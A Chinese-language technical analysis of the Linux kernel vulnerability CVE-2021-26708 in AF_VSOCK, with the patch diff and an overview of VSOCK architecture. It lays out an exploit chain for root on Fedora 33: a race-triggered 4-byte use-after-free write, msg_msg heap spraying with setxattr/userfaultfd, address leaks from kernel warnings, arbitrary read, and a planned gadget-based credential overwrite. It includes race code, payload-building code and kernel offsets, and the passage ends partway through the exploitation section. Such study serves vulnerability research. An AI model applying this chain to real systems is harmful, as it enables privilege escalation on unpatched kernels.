【kernel exploit】CVE-2021-26708 四字节写特殊竞争UAF转化为内核任意读写

这个漏洞利用太复杂了，可惜没有公开exp。

影响版本：Linux v5.10.13之前。 7.0分。通过修改后的syzkaller挖到。

测试版本：Linux-5.10.12 测试环境下载地址（暂无环境，作者未公开exp）

编译选项：CONFIG_VSOCKETS=y CONFIG_VIRTIO_VSOCKETS=y CONFIG_CHECKPOINT_RESTORE=y CONFIG_SLAB=y

General setup ---> Choose SLAB allocator (SLUB (Unqueued Allocator)) ---> SLAB

在编译时将.config中的CONFIG_E1000和CONFIG_E1000E，变更为=y。参考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-5.10.12.tar.xz
$ tar -xvf linux-5.10.12.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录：/arch/x86/boot/bzImage。

漏洞描述：net/vmw_vsock/af_vsock.c 中AF_VSOCK套接字的实现中（创建语句是vsock = socket(AF_VSOCK, SOCK_STREAM, 0)），vsock_stream_setsockopt()函数由于错误上锁导致多个竞争条件。以 vsock_stream_setsockopt() 函数为例，在加锁前进行赋值transport = vsk->transport，transport是全局变量，但是vsk->transport会在多处被调用甚至被释放，这就有可能通过条件竞争造成UAF。由commit c0cfa2d8a788fcf4和6a2c0962105ae8ce引入VSOCK multi-transport功能所导致。

补丁：patch 将transport = vsk->transport;语句从加锁语句lock_sock(sk);外面挪到了里面，共5个函数需要patch——vsock_poll()、vsock_dgram_sendmsg()、vsock_stream_setsockopt()、vsock_stream_sendmsg()、vsock_stream_recvmsg()。

diff --git a/net/vmw_vsock/af_vsock.c b/net/vmw_vsock/af_vsock.c
index b12d3a3222428..6894f21dc1475 100644
--- a/net/vmw_vsock/af_vsock.c
+++ b/net/vmw_vsock/af_vsock.c
// (1) vsock_poll       --------------------
@@ -1014,9 +1014,12 @@ static __poll_t vsock_poll(struct file *file, struct socket *sock,
            mask |= EPOLLOUT | EPOLLWRNORM | EPOLLWRBAND;
 
    } else if (sock->type == SOCK_STREAM) {
-       const struct vsock_transport *transport = vsk->transport;
+       const struct vsock_transport *transport;
+
        lock_sock(sk);
 
+       transport = vsk->transport;
+
        /* Listening sockets that have connections in their accept
         * queue can be read.
         */
// (2) vsock_dgram_sendmsg --------------------
@@ -1099,10 +1102,11 @@ static int vsock_dgram_sendmsg(struct socket *sock, struct msghdr *msg,
    err = 0;
    sk = sock->sk;
    vsk = vsock_sk(sk);
-   transport = vsk->transport;
 
    lock_sock(sk);
 
+   transport = vsk->transport;
+
    err = vsock_auto_bind(vsk);
    if (err)
        goto out;
// (3) vsock_stream_setsockopt --------------------
@@ -1561,10 +1565,11 @@ static int vsock_stream_setsockopt(struct socket *sock,
    err = 0;
    sk = sock->sk;
    vsk = vsock_sk(sk);
-   transport = vsk->transport;
 
    lock_sock(sk);
 
+   transport = vsk->transport;
+
    switch (optname) {
    case SO_VM_SOCKETS_BUFFER_SIZE:
        COPY_IN(val);
// (4) vsock_stream_sendmsg --------------------
@@ -1697,7 +1702,6 @@ static int vsock_stream_sendmsg(struct socket *sock, struct msghdr *msg,
 
    sk = sock->sk;
    vsk = vsock_sk(sk);
-   transport = vsk->transport;
    total_written = 0;
    err = 0;
 
@@ -1706,6 +1710,8 @@ static int vsock_stream_sendmsg(struct socket *sock, struct msghdr *msg,
 
    lock_sock(sk);
 
+   transport = vsk->transport;
+
    /* Callers should not provide a destination with stream sockets. */
    if (msg->msg_namelen) {
        err = sk->sk_state == TCP_ESTABLISHED ? -EISCONN : -EOPNOTSUPP;
// (5) vsock_stream_recvmsg --------------------
@@ -1840,11 +1846,12 @@ vsock_stream_recvmsg(struct socket *sock, struct msghdr *msg, size_t len,
 
    sk = sock->sk;
    vsk = vsock_sk(sk);
-   transport = vsk->transport;
    err = 0;
 
    lock_sock(sk);
 
+   transport = vsk->transport;
+
    if (!transport || sk->sk_state != TCP_ESTABLISHED) {
        /* Recvmsg is supposed to return 0 if a peer performs an
         * orderly shutdown. Differentiate between that case and when a

保护机制：开启SMEP、SMAP、KASLR。信息泄露是通过dmesg来泄露的，很容易关闭。

利用总结：作者将有限的内存破坏转化为内核任意读写，在Fedora 33 Server上成功提权，绕过SMEP和SMAP防护，创造了几种新的利用技巧。需要提前学习 CVE-2017-2636利用 和 setxattr() & userfaultfd()通用堆喷技术 这两篇文章。

• （1）漏洞：由于漏洞对象virtio_vsock_sock会触发4字节写（往空闲的 virtio_vsock_sock 64字节对象的偏移40处写4字节，该4字节可控），这是一种有限制的UAF，需将该漏洞原语转化为常规的UAF；
• （2）victim对象—构造任意堆块释放：恰好msg_msg对象的偏移40处为msg_msg.security，指向内核某个堆块，在收到msg_msg会释放该块，这样利用msg_msg进行堆喷（触发4字节任意写来修改msg_msg.security指向另一个64字节堆块，这样就会释放该目标堆块）就能把4字节写转化为任意堆块释放；
• （3）堆地址泄露：触发漏洞后，会调用virtio_transport_send_pkt_info()在内核日志中输出warning，其中RBX——vsock_sock对象的内核地址，RCX——释放对象 virtio_vsock_sock 的地址；
• （4）任意堆块释放->UAF：vsock_sock对象位于专门的cache，无法利用；virtio_vsock_sock位于kmalloc-64，可以利用。继续找64字节的victim对象——msg_msg对象；
• （5）任意读：如果发送的消息长度超过4048，就会把多出来的消息存入msg_msg->next指向的 segment list中，msg->m_ts表示整个的size。可以利用setxattr() & userfaultfd()通用堆喷技术，覆盖msg_msg对象的msg_msg->next和msg->m_ts来泄露内核数据。注意msg_msg.m_list必须指向有效的消息，可利用msgrcv()+MSG_COPY flag 来获取队列中序号为msgtyp（从0开始）的消息的副本（内核编译时开启CONFIG_CHECKPOINT_RESTORE=y选项就能调用msgrcv()），这样就能构造有效的msg_msg.m_list；
• （6）泄露其它堆块地址+内核基址：读取vsock_sock对象（RBX）的内容。其中vsock_sock.sk.sk_memcg指向kmalloc-4k大小的mem_cgroup对象，vsock_sock.sk.sk_write_space函数指针可以泄露内核基址；
• （7）sk_buff victim对象的UAF：上一步泄露了kmalloc-4k堆基址。struct sk_buff表示网络相关的buffer，网络数据和skb_shared_info位于相同的内存块（sk_buff.head指向的内存块），在用户空间构造2800字节的网络包就能使 skb_shared_info 被分配在 kmalloc-4k cache中。利用 CVE-2017-2636 时用到了sk_buff对象；注意，sk_buff喷射不稳定，可以试试其他对象。
• （8）任意写：由于泄露了kmalloc-4k堆地址，所以ubuf_info结构可以伪造在内核中，可以绕过SMAP（如果CVE-2017-2636也能泄露内核堆块地址kmalloc-4k、cred地址，且能够找到写cred的gadget地址，就能绕过SMAP防护）。伪造ubuf_info.callback指向一个特殊的gadget，类似于mov RDX, [RDI+8]; mov [RDX], RSI; ret 。RDI保存了callback的第一个参数（也就是ubuf_info结构的地址），所以RDI+8指向ubuf_info.desc，这个gadget能将ubuf_info.desc赋值给RDX。现在RDX存着有效的user ID和group ID的地址-1，这个-1很重要，当gadget将RSI中的qword 1写入RDX指向的内存时，uid和gid就会被覆盖为0。然后对uid和gid重复该步骤，就能成功提权。注意，这个gadget很特殊，可以试试pivot_gadget。

思考：

• （1）为了触发本漏洞，syzkaller每次调用setsockopt()函数都必须传递不同的size参数。那么如果修改syzkaller，每次都随机化syscall的参数，会不会发现更多的漏洞，但是复现崩溃也变得更不稳定。
• （2）如何将特定上下文的UAF漏洞转化为常规意义的UAF。
• （3）泄露内核数据的新方法，通过堆喷伪造结构中的元素，然后泄露数据；例如msg_msg这种结构，能够读取内核数据给用户态。elastic object是通过溢出来修改长度元素，而这里更加通用，目标是找到属于各种cache的对象。
• （4）找到其他新型gadget，劫持控制流之后进行任意写。或者能不能利用KEPLER中发现的新型的gadget？

---

一、VSOCK介绍

1.VSOCK介绍

介绍：VM套接字最早是由Vmware开发并提交到Linux内核主线中。VM套接字允许虚拟机与虚拟机管理程序之间进行通信。虚拟机和主机上的用户级应用程序都可以使用VM 套接字API，从而促进guest虚拟机与其host之间的快速有效通信。该机制提供了一个vsock套接字地址系列及其vmci传输，旨在与接口级别的UDP和TCP兼容。VSOCK机制随即得到Linux社区的响应，Redhat在VSOCK中为vsock添加了virtio传输-virtio_transport.ko和vhost传输-vhost_vsock.ko，QEMU/KVM虚拟机管理提供支持，Microsoft添加了HyperV传输-hv_sock。

应用：QEMU guest agent / Kata container agent / Android Debug Bridge (adb)

2.VSOCK架构

VM套接字类型：VM套接字与其他套接字类型类似，例如Berkeley UNIX套接字接口。VM套接字模块支持面向连接的流套接字（例如TCP）和无连接数据报套接字（例如UDP）。VM套接字协议系列定义为“AF_VSOCK”，并且套接字操作分为SOCK_DGRAM和SOCK_STREAM。如下图所示：

1-1.png

VSOCK socket层支持socket API：用户层的AF_SOCK地址簇包含两个要素：。 CID为Context Identifier，上下文标识符；port为端口。TCP/IP应用程序几乎不需要更改就可以适配，每一个地址表示为。还有一层为transport层，VSOCK transport用于实现guest和host之间通信的数据通道。如下图所示：

1-2.png

传输方向：Transport根据传输方向分为两种（以SOCK_STREAM类型为例），一种为G2H transport，表示guest到host的传输类型，运行在guest中。另一种为H2G transport，表示host到guest的传输类型。

以QEMU/KVM传输为例，如下图所示：

1-3.png

接口驱动分类：该传输提供套接字层接口的驱动分为两个部分，一个是运行在guest中的virtio-transport，用于配合guest进行数据传输；另一个是运行在host中的vhost-transport，用于配合host进行数据传输。

实现：vsock地址簇和G2H实现在net/vmw_vsock，H2G实现在driver目录，vhost vsock实现在drivers/vhost/vsock.c，vmci实现在drivers/misc/vmw_vmci。以下是qemu中的virtio<->vhost transport：

guset和host初始化传输通道的过程：

• 1.启动qemu时，命令行中上-device vhost-vsock-pci,guest-cid=；
• 2.host中加载vhost_vsock驱动；
• 3.guest会检测并加载vhost-vsock pci驱动，在virtio_vsock_init函数中注册该virtio驱动；
• 4.virtio_vsock驱动会初始化仿真的vhost-vsock设备，这将和vhost_vsock驱动进行交互。

传输层有个全局变量transport，host和guest都会调用vsock_core_init函数来注册其 vsock transport。例如，guest中virtio_vsock_init()调用vsock_core_init来将transport设置为virtio_transport.transport；host中vhost_vsock_init()调用vsock_core_init来将transport设置为vhost_transport.transport。初始化之后，guest和host就可以使用vsock来交互，具体实现参见Linux vsock internals。

1-6.png

VSOCK transport还提供多传输通道模式，该功能是为了支持嵌套虚拟机中的VSOCK功能。如下图所示：

多传输通道：支持L1虚拟机同时加载H2G和G2H两个传输通道，此时L1虚拟机既是host也是guest，通过H2G传输通道和L2嵌套虚拟机通信，通过G2H传输通道和L0 host通信。

1-4.png

VSOCK transport还支持本地环回传输通道模式，不需要有虚拟机。如下图所示：

本地环回传输通道：该模式用于测试和调试，由vsock-loopback提供支持，并对地址簇中的CID进行了分类，包含两种类型：一种是VMADDR_CID_LOCAL，表示本地环回；一种为VMADDR_CID_HOST，表示H2G传输通道加载，G2H传输通道未加载。

1-5.png

---

二、漏洞分析

1. 漏洞分析

补丁分析：以 vsock_stream_setsockopt() 函数为例，将(1)移到(3)处，(2)加锁前，vsk->transport已经赋值到transport全局变量中，这里产生了一个引用，然后才进行lock_sock(sk)将sk锁定。但是vsk->transport会在多处被调用甚至被释放，这就有可能通过条件竞争造成UAF。

最开始没有这个漏洞，因为transport是局部变量，后来 c0cfa2d8a788fcf4（加入multi-transports支持）和 6a2c0962105ae8ce（防止transport模块卸载）使得transport变成了全局变量，就导致了本漏洞。

@@ -1561,10 +1565,11 @@ static int vsock_stream_setsockopt(struct socket *sock,
   err = 0;
   sk = sock->sk;
   vsk = vsock_sk(sk);
-   transport = vsk->transport;     // (1)

   lock_sock(sk);                  // (2)

+   transport = vsk->transport;     // (3)
+
   switch (optname) {
   case SO_VM_SOCKETS_BUFFER_SIZE:
       COPY_IN(val);

2. 漏洞触发

漏洞对象：vsk->transport — virtio_vsock_sock对象

（1）释放vsk->transport的调用路径

调用路径：vsock_stream_connect() （用户层调用connect） -> vsock_assign_transport() -> vsock_deassign_transport() -> virtio_transport_destruct()（vsk->transport->destruct）

首先找到修改或释放vsk->transport的调用路径，来看关键函数 vsock_assign_transport() 的实现。对于多传输模式，该函数用于根据不同CID分配不同的传输通道。实现代码如下图所示：

int vsock_assign_transport(struct vsock_sock *vsk, struct vsock_sock *psk)
{
    const struct vsock_transport *new_transport;
    struct sock *sk = sk_vsock(vsk);
    unsigned int remote_cid = vsk->remote_addr.svm_cid;
    int ret;
// 根据 sk->sk_type 分为 SOCK_DGRAM 和 SOCK_STREAM，在 SOCK_STREAM 中，分为三种传输通道。这里可以通过将CID设置为本地环回模式，得到 transport_local 传输通道。
    switch (sk->sk_type) {
    case SOCK_DGRAM:
        new_transport = transport_dgram;
        break;
    case SOCK_STREAM:
        if (vsock_use_local_transport(remote_cid))
            new_transport = transport_local;        // 本地传输通道
        else if (remote_cid <= VMADDR_CID_HOST || !transport_h2g)
            new_transport = transport_g2h;          // guest到host传输通道
        else
            new_transport = transport_h2g;          // host到guest传输通道
        break;
    default:
        return -ESOCKTNOSUPPORT;
    }
// 如果vsk->transport不为空，则进入if语句。先判断 vsk->transport 是否等于 new_transport，如果等于直接返回，在触发过程中，要保证能走到 vsock_deassign_transport() 函数，该函数是析构函数，用于释放transport。
    if (vsk->transport) {
        if (vsk->transport == new_transport)
            return 0;

        /* transport->release() must be called with sock lock acquired.
         * This path can only be taken during vsock_stream_connect(),
         * where we have already held the sock lock.
         * In the other cases, this function is called on a new socket
         * which is not assigned to any transport.
         */
        vsk->transport->release(vsk);
        vsock_deassign_transport(vsk);          // <-------------------- 释放路径
    }

    /* We increase the module refcnt to prevent the transport unloading
     * while there are open sockets assigned to it.
     */
    if (!new_transport || !try_module_get(new_transport->module))
        return -ENODEV;

    ret = new_transport->init(vsk, psk);
    if (ret) {
        module_put(new_transport->module);
        return ret;
    }

    vsk->transport = new_transport;

    return 0;
}
EXPORT_SYMBOL_GPL(vsock_assign_transport);

// 
static void vsock_deassign_transport(struct vsock_sock *vsk)
{
    if (!vsk->transport)
        return;

    vsk->transport->destruct(vsk);              // (4) 调用vsk->transport->destruct()时，要明确使用transport类型，前文已经确定使用 transport_local。
    module_put(vsk->transport->module);
    vsk->transport = NULL;
}

(4)处调用vsk->transport->destruct()时，要明确使用transport类型，前文已经确定使用 transport_local模式。transport_local为全局变量，会在vsock_core_register()函数中被初始化，该函数被调用情况如下：

*_init()函数用来初始化transport的回调函数，vhost_vsock_init()、virtio_vsock_init() 和 vsock_loopback_init() 函数为QEMU/KVM环境下的支持函数。我们发现transport->destruct() 函数的最后实现都是同一个函数（virtio_transport_destruct()）。如下所示：

// 调用 vsock_core_register() 的函数
    EXPORT_SYMBOL_GPL
    hvs_init()
    vhost_vsock_init()          //
    virtio_vsock_init()         //
    vmci_transport_init()
    vmci_vsock_transport_cb()
    vsock_loopback_init()       //
// 引用用 virtio_transport_destruct 函数指针的地方
    EXPORT_SYMBOL_GPL
    loopback_transport          // 函数表 .destruct = virtio_transport_destruct,
    vhost_transport             // 函数表 .destruct = virtio_transport_destruct,
    virtio_transport            // 函数表 .destruct = virtio_transport_destruct,
// 该 destruct() 函数释放 vsk->trans。 vsk->trans 指针指向 transport。
void virtio_transport_destruct(struct vsock_sock *vsk)
{
    struct virtio_vsock_sock *vvs = vsk->trans;

    kfree(vvs);
}
EXPORT_SYMBOL_GPL(virtio_transport_destruct);

（2）使用vsk->transport的调用路径

调用路径：vsock_stream_setsockopt() （用户调用setsockopt()） -> vsock_update_buffer_size() -> virtio_transport_notify_buffer_size()

/* sk_lock held by the caller */
void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
    struct virtio_vsock_sock *vvs = vsk->trans;

    if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE)   // VIRTIO_VSOCK_MAX_BUF_SIZE == 0xFFFFFFFFUL
        *val = VIRTIO_VSOCK_MAX_BUF_SIZE;

    vvs->buf_alloc = *val;  // 通过vsk->trans获取指向transport的指针，然后对vvs->buf_alloc进行4字节赋值。

    virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM,
                        NULL);
}
EXPORT_SYMBOL_GPL(virtio_transport_notify_buffer_size);

static void vsock_update_buffer_size(struct vsock_sock *vsk,
                     const struct vsock_transport *transport,
                     u64 val)
{
    if (val > vsk->buffer_max_size)
        val = vsk->buffer_max_size;

    if (val < vsk->buffer_min_size)
        val = vsk->buffer_min_size;

    if (val != vsk->buffer_size &&
        transport && transport->notify_buffer_size)
        transport->notify_buffer_size(vsk, &val);       // <--------- transport 早就失效了，首先触发UAF

    vsk->buffer_size = val;
}

漏洞对象的结构链：vsock_sock (结尾 void *trans 指针) -> virtio_vsock_sock ，virtio_vsock_sock漏洞对象属于kmalloc-64。对virtio_vsock_sock->buf_alloc进行赋值，导致UAF，且赋的值*val也是用户可控的，这样就能任意写4字节。

/* Per-socket state (accessed via vsk->trans) */
struct virtio_vsock_sock {
    struct vsock_sock *vsk;

    spinlock_t tx_lock;
    spinlock_t rx_lock;

    /* Protected by tx_lock */
    u32 tx_cnt;
    u32 peer_fwd_cnt;
    u32 peer_buf_alloc;

    /* Protected by rx_lock */
    u32 fwd_cnt;
    u32 last_fwd_cnt;
    u32 rx_bytes;
    u32 buf_alloc;                  // 偏移为40
    struct list_head rx_queue;
};

（3）构造条件竞争

条件竞争：connect()系统调用先抢到锁对transport进行释放，然后再调用setsockopt()才能触发漏洞。有开发人员提出使用userfaultfd机制先将lock_sock锁定，然后再去释放锁，进行条件竞争。漏洞触发过程如下图所示：

2-1-trigger.png

蓝框中是connect()调用过程，最后调用virtio_transport_destruct()函数释放vsk->trans。红框中是setsockopt()调用过程，调用virtio_transport_notify_buffer_size()函数使用vvs，该值是0xffff888107a74500，在0xffff888107a74500+0x28处会写入4字节。两个线程的竞争点如下所示：

2-2-Thread_race.png

3. 漏洞挖掘

syzkaller无法复现的原因如下：为了触发执行 notify_buffer_size() 函数，每次调用setsockopt()都必须传递不同的size参数，见poc 。如果不修改syzkaller是无法触发本漏洞的，可能是运气好，多线程时采用SO_VM_SOCKETS_BUFFER_MAX_SIZE和SO_VM_SOCKETS_BUFFER_MIN_SIZE参数触发了漏洞。

// vsock_update_buffer_size() —— 只有当val和当前buffer_size不同时才会调用 notify_buffer_size(), 也就是说，调用 setsockopt()时（选项为SO_VM_SOCKETS_BUFFER_SIZE），必须采用不同的size参数
    if (val != vsk->buffer_size &&
      transport && transport->notify_buffer_size)
        transport->notify_buffer_size(vsk, &val);

    vsk->buffer_size = val;

// vsock_stream_setsockopt()
    switch (optname) {
        case SO_VM_SOCKETS_BUFFER_SIZE:
        COPY_IN(val);
        vsock_update_buffer_size(vsk, transport, val);
        break;
    }

// POC中每次调用 setsockopt() 传递不同的size参数
    struct timespec tp;
    unsigned long size = 0;

    clock_gettime(CLOCK_MONOTONIC, &tp);
    size = tp.tv_nsec;
    setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
                &size, sizeof(unsigned long));

思考：为了触发本漏洞，syzkaller每次调用setsockopt()函数都必须传递不同的size参数。那么如果修改syzkaller，每次都随机化syscall的参数，会不会发现更多的漏洞，但是复现崩溃也变得更不稳定。

---

三、漏洞利用

实验目标：Fedora 33 Server 内核版本5.10.11-200.fc33.x86_64

1. 竞争线程构造

// thread 1 —— setsockopt()
    setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
                &size, sizeof(unsigned long));
// thread 2 —— connect()  当 vsock_stream_setsockopt() 试图获取 socket lock 时，线程2需要释放 transport
    struct sockaddr_vm addr = {
        .svm_family = AF_VSOCK,
    };

    addr.svm_cid = VMADDR_CID_LOCAL;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
    // 线程2第二次connect时,svm_cid要和第一次不同才能走到释放 vsock_sock->transport 的分支, 然后将 vsock_sock->transport 赋值为null, 后面 vsock_stream_setsockopt() 触发UAF
    addr.svm_cid = VMADDR_CID_HYPERVISOR;
    connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));

当connect()释放 socket lock 之后，vsock_stream_setsockopt()才能继续执行并调用vsock_update_buffer_size() -> transport->notify_buffer_size()，transport全局变量存的是一个过时的局部变量vsk->transport。触发UAF。

2.四字节的力量

漏洞总结：本竞争漏洞能够往释放后的virtio_vsock_sock对象（属于kmalloc-64）的40偏移处写任意四字节。

稳定堆喷—尝试add_key：只是测试是否能够稳定堆喷，并非最终使用的喷射对象。在第2次调用connect()后，且并行线程执行完vsock_stream_setsockopt()中的漏洞语句，调用add_key来堆喷。使用ftrace来跟踪内核分配器，确保释放后的virtio_vsock_sock对象已被覆写，也即成功堆喷。

寻找堆喷对象的过程：下一步是找到一个64字节的内核对象，可以提供更强的利用原语 ，即偏移40处的四字节可利用。尝试过 Bad Binder exploit 介绍的 构造iovec对象实现内核任意读写，但失败了（因为64字节的iovec分配在栈上，且偏移40处是iovec.iov_len而非iovec.iov_base，且版本4.13之后就不能用iovec方法了，来自2017的commit 09fc68dc66f7597b）。

找到堆喷对象：后来找到了msgsnd()调用中的struct msg_msg对象，该对象后面跟的是message数据，只要用户传递16字节的struct msgbuf->mtext，则内核中的msg_msg对象就会分配到kmalloc-64。4字节写就能覆盖void *security指针，这有什么用呢？

struct msg_msg {
    struct list_head           m_list;               /*     0    16 */
    long int                   m_type;               /*    16     8 */
    size_t                     m_ts;                 /*    24     8 */
    struct msg_msgseg *        next;                 /*    32     8 */
    void *                     security;             /*    40     8 */

    /* size: 48, cachelines: 1, members: 5 */
    /* last cacheline: 48 bytes */
};

/* message buffer for msgsnd and msgrcv calls */
struct msgbuf {
    __kernel_long_t mtype;          /* type of message */
    char mtext[1];                  /* message text */
};

msg_msg.security：msg_msg.security指向lsm_msg_msg_alloc()分配的内核数据，Fedora的SELinux调用了lsm_msg_msg_alloc()函数，当收到msg_msg之后调用security_msg_msg_free()释放该内核数据，所以覆盖msg_msg.security的低4字节就能构造任意空间释放。

3. 堆地址泄露

方法：和CVE-2019-18683 exploit类似，第2次调用connect()时会执行vsock_deassign_transport()，将vsk->transport设置为NULL，这样vsock_stream_setsockopt()调用virtio_transport_send_pkt_info()时（恰好在发生内存破坏之后），会报内核警告：

调用路径——vsock_stream_setsockopt() （用户调用setsockopt()） -> vsock_update_buffer_size() -> virtio_transport_notify_buffer_size() -> virtio_transport_send_credit_update() -> virtio_transport_send_pkt_info()

// warning: RCX——释放对象 virtio_vsock_sock 的基址, RBX——vsock_sock对象的内核地址。Fedora系统可以打开和解析 /dev/kmsg, 通过寄存器的值可以泄露内核地址。
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G        W         5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS:  00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
  virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
  vsock_update_buffer_size+0x5f/0x70 [vsock]
  vsock_stream_setsockopt+0x128/0x270 [vsock]
...

4. 任意空间释放->UAF

目标：任意空间释放->UAF

• 根据warning泄露的地址来释放对象；
• 堆喷控制该对象；
• 劫持控制流

尝试vsock_sock（EBX）：开始想释放vsock_sock对象（EBX），因为这个对象很大，有很多有趣的结构，但是vsock_sock位于专门的cache，无法进行堆喷。

尝试virtio_vsock_sock（RCX）：释放virtio_vsock_sock对象（RCX），需找到某个大小为64字节的victim对象。

5. 实现任意读

msg_msg—victim对象：前面讲到利用msg_msg作堆喷，现在分析下如何利用msg_msg来实现常规的UAF。System V消息的实现中有个消息最大长度DATALEN_MSG（值为PAGE_SIZE - sizeof(struct msg_msg)) == 4048），如果发送的消息过长就会将超过的部分存放在多个段中，msg_msg->next指向第1个segment（段头部8字节+消息的其余部分），msg->m_ts表示整个的size。这样我们就可以通过堆喷来伪造msg_msg.m_ts和msg_msg.next来进行利用。

3-1-overwritten_msg_msg.png

堆喷：现在不要覆盖msg_msg.security，避免破坏SELinux permission check，可以使用setxattr() & userfaultfd()通用堆喷技术 （中文翻译）来避免覆盖msg_msg.security。准备payload的代码如下所示：

setxattr() & userfaultfd()通用堆喷技术：针对堆喷无法控制对象的前N个字节的问题、以及小块如kmalloc-8/16/32无法控制的问题，例如msgsnd()分配路径有个不受控制的前48字节。setxattr()函数会在内核中分配用户指定的size，然后将用户数据拷贝进去，最后释放该空间；可以利用userfaultfd()在拷贝X字节后转入用户错误处理，使内存块驻留在内核中。

#define PAYLOAD_SZ 40

void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
{
    struct msg_msg *msg_ptr;

    xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ;   // 伪造结构的起始地址

    /* Don't touch the second part to avoid breaking page fault delivery */
    memset(spray_data, 0xa5, PAGE_SIZE * 4);

    printf("[+] adapt the msg_msg spraying payload:\n");
    msg_ptr = (struct msg_msg *)xattr_addr;                 // 
    msg_ptr->m_type = 0x1337;
    msg_ptr->m_ts = ARB_READ_SZ;
    msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
    printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
           msg_ptr,
           msg_ptr->m_type, &(msg_ptr->m_type),
           msg_ptr->m_ts, &(msg_ptr->m_ts),
           msg_ptr->next, &(msg_ptr->next));
}

实现任意读：如何利用伪造的msg_msg读取内核数据？以上代码中将msg_msg.m_list伪造成了无效的指针0xa5a5a5a5a5a5a5a5，导致内核崩溃，能不能使msg_msg.m_list指向另一个有效的message呢？通过阅读msgrcv() - documentation可以找到答案，用msgrcv()+MSG_COPY flag 可以获取队列中序号为msgtyp（从0开始）的消息的副本，只要内核编译时开启CONFIG_CHECKPOINT_RESTORE=y选项就能使用该功能，这在Fedora服务器中是默认开启的。

• 1.准备

  • 调用sched_getaffinity()和CPU_COUNT()计算可用CPU数（CPU数必须>=2）;
  • 打开/dev/kmsg；
  • mmap()映射spray_data内存区域，配置userfaultfd()在msg_msg.security偏移处挂起；
  • 开启1个单独的线程来处理userfaultfd()事件；
  • 开启127个线程来对空闲的msg_msg作setxattr() & userfaultfd()堆喷，并用pthread_barrier栅栏拦住。

• 2.泄露1个有效的msg_msg对象的地址

  • 利用漏洞赢得竞争；
  • 第2次connect()之后循环等待35微秒；
  • 在单独的消息队列中调用msgsnd，利用msg_msg对象占据virtio_vsock_sock空闲堆块；
  • 解析内核日志，从内核warning中获取指向msg_msg对象的RCX寄存器值；
  • 同时保存RBX寄存器值——vsock_sock对象的地址。

• 3.触发任意堆块释放， 即使用被破坏的msg_msg对象来释放一个有效的msg_msg对象

  • 使用4字节有效的msg_msg对象地址作为SO_VM_SOCKETS_BUFFER_SIZE，这4字节会覆盖msg_msg.security的低4字节；

  • 利用漏洞赢得竞争；

  • 第2次调用connect()之后立刻调用msgsnd()，利用msg_msg占据virtio_vsock_sock空闲堆块；

  • 现在msg_msg.security指针指向了一个有效的msg_msg对象；

    3-2-corrupted_msg_msg.png

• 如果setsockopt()线程修改msg_msg.security的时机恰好发生在msgsnd()处理时，则SELinux permission check会失败；

• 这种情况下，msgsnd()会返回-1，且被修改的msg_msg会修改，释放msg_msg.security时实际上释放了一个有效的msg_msg对象。

• 4.伪造被释放的msg_msg对象

  • 在msgsnd()失败后，立刻调用pthread_barrier_wait()放开栅栏，唤醒127个堆喷线程；

  • 这些线程会调用setxattr()来堆喷（payload是用前面提到的adapt_xattr_vs_sysv_msg_spray(vsock_kaddr)来布置的）；

  • 现在msg_msg对象被覆盖为可控数据，且msg_msg.next指针指向System V message段（保存着vsock_sock对象的地址，前面通过RBX泄露）。

    3-3-corrupted_and_overwritten_msg_msg.png

• 5.通过从消息队列（保存着伪造的msg_msg对象）接收消息，来读取vsock_sock内核对象的内容。

  ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0,
                  IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
  

6. 泄露其它堆块和内核基址

目前能够读取vsock_sock对象的内容，分析其内容，研究如何继续利用呢？

vsock_sock内容：

• 很多指向专用cache的指针，如PINGv6和sock_inode_cache，没有用；
• struct mem_cgroup *sk_memcg指针在vsock_sock.sk的偏移664处，mem_cgroup结构位于kmalloc-4k，非常好；
• const struct cred *owner指针在vsock_sock的偏移840处，可以覆盖它指向的凭证来提权；
• void (*sk_write_space)(struct sock *)函数指针在vsock_sock.sk的偏移为688，该指针会被赋值为sock_def_write_space()，可用于计算KASLR offset。

以下代码负责搜集vsock_sock中的指针信息：

#define MSG_MSG_SZ      48
#define DATALEN_MSG         (PAGE_SIZE - MSG_MSG_SZ)
#define SK_MEMCG_OFFSET     664
#define SK_MEMCG_RD_LOCATION    (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET   840
#define OWNER_CRED_RD_LOCATION  (DATALEN_MSG + OWNER_CRED_OFFSET)
